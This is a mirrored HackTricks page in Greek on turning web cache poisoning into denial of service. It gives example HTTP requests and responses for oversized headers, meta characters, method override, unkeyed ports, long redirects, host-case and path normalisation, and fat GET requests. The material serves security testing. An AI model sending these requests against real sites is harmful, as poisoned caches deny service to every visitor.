mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
126 lines
6.2 KiB
Markdown
126 lines
6.2 KiB
Markdown
# Cache Poisoning to DoS
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
> [!CAUTION]
|
||
> Σε αυτή τη σελίδα μπορείτε να βρείτε διάφορες παραλλαγές για να προσπαθήσετε να κάνετε τον **web server να απαντά με σφάλματα** σε αιτήματα που είναι **έγκυρα για τους cache servers**
|
||
|
||
- **HTTP Header Oversize (HHO)**
|
||
|
||
Στείλτε ένα αίτημα με μέγεθος κεφαλίδας μεγαλύτερο από αυτό που υποστηρίζει ο web server αλλά μικρότερο από αυτό που υποστηρίζει ο cache server. Ο web server θα απαντήσει με μια 400 απάντηση που μπορεί να αποθηκευτεί στην cache:
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Oversize-Hedear:Big-Value-000000000000000
|
||
```
|
||
- **HTTP Meta Character (HMC) & Unexpected values**
|
||
|
||
Στείλτε μια κεφαλίδα που περιέχει μερικούς **βλαβερούς μεταχαρακτήρες** όπως και . Για να λειτουργήσει η επίθεση, πρέπει πρώτα να παρακάμψετε την κρυφή μνήμη.
|
||
```
|
||
GET / HTTP/1.1
|
||
Host: redacted.com
|
||
X-Meta-Hedear:Bad Chars\n \r
|
||
```
|
||
Ένας κακώς διαμορφωμένος τίτλος θα μπορούσε να είναι απλώς `\:` ως τίτλος.
|
||
|
||
Αυτό θα μπορούσε επίσης να λειτουργήσει αν σταλούν απροσδόκητες τιμές, όπως μια απροσδόκητη Content-Type:
|
||
```
|
||
GET /anas/repos HTTP/2
|
||
Host: redacted.com
|
||
Content-Type: HelloWorld
|
||
```
|
||
- **Unkeyed header**
|
||
|
||
Ορισμένες ιστοσελίδες θα επιστρέψουν έναν κωδικό κατάστασης σφάλματος αν **δουν ορισμένα συγκεκριμένα headers** στην αίτηση όπως με το _X-Amz-Website-Location-Redirect: someThing_ header:
|
||
```
|
||
GET /app.js HTTP/2
|
||
Host: redacted.com
|
||
X-Amz-Website-Location-Redirect: someThing
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
|
||
Invalid Header
|
||
```
|
||
- **HTTP Method Override Attack (HMO)**
|
||
|
||
Αν ο διακομιστής υποστηρίζει την αλλαγή της μεθόδου HTTP με κεφαλίδες όπως `X-HTTP-Method-Override`, `X-HTTP-Method` ή `X-Method-Override`. Είναι δυνατόν να ζητηθεί μια έγκυρη σελίδα αλλάζοντας τη μέθοδο έτσι ώστε ο διακομιστής να μην την υποστηρίζει, με αποτέλεσμα μια κακή απάντηση να αποθηκευτεί στην κρυφή μνήμη:
|
||
```
|
||
GET /blogs HTTP/1.1
|
||
Host: redacted.com
|
||
HTTP-Method-Override: POST
|
||
```
|
||
- **Unkeyed Port**
|
||
|
||
Εάν η θύρα στην κεφαλίδα Host αντικατοπτρίζεται στην απόκριση και δεν περιλαμβάνεται στο κλειδί της μνήμης cache, είναι δυνατόν να την ανακατευθύνετε σε μια μη χρησιμοποιούμενη θύρα:
|
||
```
|
||
GET /index.html HTTP/1.1
|
||
Host: redacted.com:1
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: https://redacted.com:1/en/index.html
|
||
Cache: miss
|
||
```
|
||
- **Long Redirect DoS**
|
||
|
||
Όπως στο παρακάτω παράδειγμα, το x δεν αποθηκεύεται στην κρυφή μνήμη, οπότε ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί τη συμπεριφορά της απόκρισης ανακατεύθυνσης για να κάνει την ανακατεύθυνση να στείλει μια διεύθυνση URL τόσο μεγάλη που να επιστρέφει ένα σφάλμα. Στη συνέχεια, οι άνθρωποι που προσπαθούν να αποκτήσουν πρόσβαση στη διεύθυνση URL χωρίς το uncached x key θα λάβουν την απόκριση σφάλματος:
|
||
```
|
||
GET /login?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: /login/?x=veryLongUrl
|
||
Cache: hit
|
||
|
||
GET /login/?x=veryLongUrl HTTP/1.1
|
||
Host: www.cloudflare.com
|
||
|
||
HTTP/1.1 414 Request-URI Too Large
|
||
CF-Cache-Status: miss
|
||
```
|
||
- **Κανονικοποίηση πεζών χαρακτήρων της κεφαλίδας host**
|
||
|
||
Η κεφαλίδα host θα πρέπει να είναι ανεξάρτητη από την περίπτωση, αλλά ορισμένες ιστοσελίδες αναμένουν να είναι σε πεζά γράμματα επιστρέφοντας σφάλμα αν δεν είναι:
|
||
```
|
||
GET /img.png HTTP/1.1
|
||
Host: Cdn.redacted.com
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cache:miss
|
||
|
||
Not Found
|
||
```
|
||
- **Κανονικοποίηση διαδρομής**
|
||
|
||
Ορισμένες σελίδες θα επιστρέψουν κωδικούς σφάλματος στέλνοντας δεδομένα URLencode στη διαδρομή, ωστόσο, ο διακομιστής cache θα URLdecode τη διαδρομή και θα αποθηκεύσει την απόκριση για τη URLdecoded διαδρομή:
|
||
```
|
||
GET /api/v1%2e1/user HTTP/1.1
|
||
Host: redacted.com
|
||
|
||
|
||
HTTP/1.1 404 Not Found
|
||
Cach:miss
|
||
|
||
Not Found
|
||
```
|
||
- **Fat Get**
|
||
|
||
Ορισμένοι διακομιστές cache, όπως η Cloudflare, ή διακομιστές ιστού, σταματούν τα GET αιτήματα με σώμα, οπότε αυτό θα μπορούσε να καταχραστεί για να αποθηκευτεί μια μη έγκυρη απάντηση:
|
||
```
|
||
GET /index.html HTTP/2
|
||
Host: redacted.com
|
||
Content-Length: 3
|
||
|
||
xyz
|
||
|
||
|
||
HTTP/2 403 Forbidden
|
||
Cache: hit
|
||
```
|
||
## Αναφορές
|
||
|
||
- [https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52](https://anasbetis023.medium.com/dont-trust-the-cache-exposing-web-cache-poisoning-and-deception-vulnerabilities-3a829f221f52)
|
||
- [https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------](https://youst.in/posts/cache-poisoning-at-scale/?source=post_page-----3a829f221f52--------------------------------)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|